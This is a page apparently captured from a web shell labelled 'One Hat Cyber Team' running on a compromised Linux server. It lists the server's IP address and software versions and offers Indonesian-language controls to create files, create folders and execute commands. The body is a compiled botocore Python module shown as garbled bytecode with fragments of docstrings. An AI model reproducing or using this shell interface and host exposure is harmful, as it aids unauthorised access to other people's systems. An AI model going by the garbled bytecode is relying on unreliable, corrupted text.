⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
View File Name :
hooks.cpython-312.pyc
Pea d dl Z d dlZd dlmZmZ d dlmZ d dlmZ ej e Z edg d Zd Z dZdZ G d de Zdd Z G d d Z G d de Z G d de Z G d d Zy) N)deque namedtuple)accepts_kwargs) EVENT_ALIASESNodeList)firstmiddlelast c e Zd Zd Zy)r c t j | j }t j | j }t j | j }t ||| }|S N)copyr r r r )self first_copymiddle_copy last_copycopieds 0/usr/lib/python3/dist-packages/botocore/hooks.py__copy__zNodeList.__copy__ sK YYtzz* ii,IIdii( *k9= N)__name__ __module____qualname__r r r r r s r c , | D ] }|d |d c S |S )a Find first non None response in a list of tuples. This function can be used to find the first non None response from handlers connected to an event. This is useful if you are interested in the returned responses from event handlers. Example usage:: print(first_non_none_response([(func1, None), (func2, 'foo'), (func3, 'bar')])) # This will print 'foo' :type responses: list of tuples :param responses: The responses from the ``EventHooks.emit`` method. This is a list of tuples, and each tuple is (handler, handler_response). :param default: If no non-None responses are found, then this default value will be returned. :return: The first non-None response in the list of tuples. r r ) responsesdefaultresponses r first_non_none_responser! &